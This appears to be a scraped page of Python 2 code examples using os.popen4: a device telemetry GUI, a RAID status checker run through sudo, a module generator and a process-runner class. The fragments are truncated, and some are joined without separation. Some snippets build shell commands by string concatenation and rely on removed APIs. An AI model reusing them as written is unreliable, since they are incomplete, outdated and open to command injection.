		self.completed += 5
		self.progress.setValue(self.completed)
		self.bat2Edit.setText(self.vbat2_r.split("=")[1])
		self.completed += 5
		self.progress.setValue(self.completed)
		self.batvEdit.setText(self.vbat_r.split("=")[1])
		self.completed += 5
		self.progress.setValue(self.completed)
		self.ibatEdit.setText(self.imain_r.split("=")[1])
		self.completed += 5
		self.progress.setValue(self.completed)
		self.bselEdit.setText(self.batsel_r.split("=")[1])
		time.sleep(3)
		
		self.csac_r = os.popen4('python exec_cmd.py /dev/%s "sq_disciplining --telemetry" 10 >/tmp/csu.tmp'%(self.tty))[1].read()
		self.progress.setValue(self.completed + 10)
		status_r = os.popen4('head -2 /tmp/csu.tmp | tail -1')[1].read()
		self.csac_statusEdit.setText(status_r.split(":	")[1])
		status_r = os.popen4('head -4 /tmp/csu.tmp | tail -1')[1].read()
		self.csac_serialEdit.setText(status_r.split(":	")[1])
		status_r = os.popen4('head -6 /tmp/csu.tmp | tail -1')[1].read()
		self.csac_contrastEdit.setText(status_r.split(":")[1])
		status_r = os.popen4('head -9 /tmp/csu.tmp | tail -1')[1].read()
		self.csac_heatpEdit.setText(status_r.split(":	")[1])
		self.completed = 100
		self.progress.setValue(self.completed)
Example #56
0
 def run_command(self):
     cmd = 'cat /proc/cmdline'
     stdouterr = os.popen4(cmd)[1].read()
     self.te.setText(stdouterr)
Example #57
0
c_status_re = re.compile('^\s*Controller Status\s*:\s*(.*)$')
l_status_re = re.compile('^\s*Status of logical device\s*:\s*(.*)$')
l_device_re = re.compile('^Logical device number ([0-9]+).*$')
c_defunct_re = re.compile('^\s*Defunct disk drive count\s:\s*([0-9]+).*$')
c_degraded_re = re.compile('^\s*Logical devices/Failed/Degraded\s*:\s*([0-9]+)/([0-9]+)/([0-9]+).*$')
b_status_re = re.compile('^\s*Status\s*:\s*(.*)$')
b_temp_re = re.compile('^\s*Over temperature\s*:\s*(.*)$')
b_capacity_re = re.compile('\s*Capacity remaining\s*:\s*([0-9]+)\s*percent.*$')
b_time_re = re.compile('\s*Time remaining \(at current draw\)\s*:\s*([0-9]+) days, ([0-9]+) hours, ([0-9]+) minutes.*$')

cstatus = lstatus = ldevice = cdefunct = cdegraded = bstatus = btemp = bcapacity = btime = ""
lnum = ""
check_status = 0
result = ""

for line in os.popen4("/usr/bin/sudo /usr/StorMan/arcconf GETCONFIG 1 LD")[1].readlines():
	# Match the regexs
	ldevice = l_device_re.match(line)
	if ldevice:
		lnum = ldevice.group(1)
		continue

	lstatus = l_status_re.match(line)
	if lstatus:
		if lstatus.group(1) != "Optimal":
			check_status = 2
		result += "Logical Device " + lnum + " " + lstatus.group(1) + ","

for line in os.popen4("/usr/bin/sudo /usr/StorMan/arcconf GETCONFIG 1 AD")[1].readlines():
	# Match the regexs
	cstatus = c_status_re.match(line)
f = open(dirName + "/" + mainFileName + ".py", 'w')
f.write(fc)
f.close()

# Create __init__.py for new package
# -------------------

f = open(dirName + "/__init__.py", 'w')
f.write(" \n ")
f.close()

# Move the new directory to "Modules" directory
# -------------------

os.popen4("mv " + dirName + " ../Modules")

print "The module (" + name + ") was successfully created in \"server/Modules\" directory."

# Update modules.xml
# -------------------

path = "file:../conf/modules.xml"

doc = NonvalidatingReader.parseUri(path)

moduleNode = doc.createElementNS(None, 'module')
doc.documentElement.appendChild(moduleNode)

moduleNode.appendChild(createNode(doc, 'name', name))
moduleNode.appendChild(createNode(doc, 'mainFileName', mainFileName))
Example #59
0
    def execute(self):
        """
        Executes the current process.

        Parameters
        ----------
        parameter : type
            Parameter description.

        Returns
        -------
        type
             Return value description.
        """

        import datetime
        import traceback

        try:
            import subprocess as sp
        except:
            sp = None

        self.start = datetime.datetime.now()

        cmdargs = [self.cmd]
        cmdargs.extend(self.args)

        if self.echo:
            if sp:
                print('\n%s : %s\n' %
                      (self.__class__, sp.list2cmdline(cmdargs)))
            else:
                print('\n%s : %s\n' % (self.__class__, ' '.join(cmdargs)))

        process = None
        tmp_wrapper = None
        stdout = None
        stdin = None
        parentenv = os.environ
        parentcwd = os.getcwd()

        try:
            # Using *subprocess*.
            if sp:
                if self.batch_wrapper:
                    cmd = ' '.join(cmdargs)
                    tmp_wrapper = os.path.join(self.cwd, 'process.bat')
                    write_text(cmd, tmp_wrapper)
                    print('%s : Running process through wrapper %s\n' %
                          (self.__class__, tmp_wrapper))
                    process = sp.Popen([tmp_wrapper],
                                       stdout=sp.PIPE,
                                       stderr=sp.STDOUT,
                                       cwd=self.cwd,
                                       env=self.env)
                else:
                    process = sp.Popen(cmdargs,
                                       stdout=sp.PIPE,
                                       stderr=sp.STDOUT,
                                       cwd=self.cwd,
                                       env=self.env)

            # using *os.popen4*.
            else:
                if self.env:
                    os.environ = self.env
                if self.cwd:
                    os.chdir(self.cwd)

                stdin, stdout = os.popen4(cmdargs, 'r')
        except:
            print('Couldn\'t execute command : %s' % cmdargs[0])
            traceback.print_exc()

        # Using *subprocess*
        if sp:
            if process is not None:
                # pid = process.pid
                # log.logLine('process id %s\n' % pid)

                try:
                    # This is more proper python, and resolves some issues with
                    # a process ending before all of its output has been
                    # processed, but it also seems to stall when the read
                    # buffer is near or over its limit. This happens
                    # relatively frequently with processes that generate lots
                    # of print statements.
                    for line in process.stdout:
                        self.log_line(line)

                    # So we go with the, um, uglier option below.

                    # This is now used to ensure that the process has finished.
                    line = ''
                    while line is not None and process.poll() is None:
                        try:
                            line = process.stdout.readline()
                        except:
                            break
                        # 3.1
                        try:
                            # TODO: Investigate previous eroneous statement.
                            # self.log_line(str(line, encoding='utf-8'))
                            self.log_line(str(line))
                        # 2.6
                        except:
                            self.log_line(line)
                except:
                    self.log_line('Logging error : %s' % sys.exc_info()[0])

                self.status = process.returncode

                if self.batch_wrapper and tmp_wrapper:
                    try:
                        os.remove(tmp_wrapper)
                    except:
                        print('Couldn\'t remove temp wrapper : %s' %
                              tmp_wrapper)
                        traceback.print_exc()

        # Using *os.popen4*.
        else:
            exit_code = -1
            try:
                stdout_lines = stdout.readlines()
                # TODO: Investigate if this is the good behavior, close() does
                # not return anything / None.
                exit_code = stdout.close()

                stdout.close()
                stdin.close()

                if self.env:
                    os.environ = parentenv
                if self.cwd:
                    os.chdir(parentcwd)

                if len(stdout_lines) > 0:
                    for line in stdout_lines:
                        self.log_line(line)

                if not exit_code:
                    exit_code = 0
            except:
                self.log_line('Logging error : %s' % sys.exc_info()[0])

            self.status = exit_code

        self.end = datetime.datetime.now()
Example #60
0
 def popen(fullcmd):
     pipein, pipeout = os.popen4(fullcmd)
     return pipeout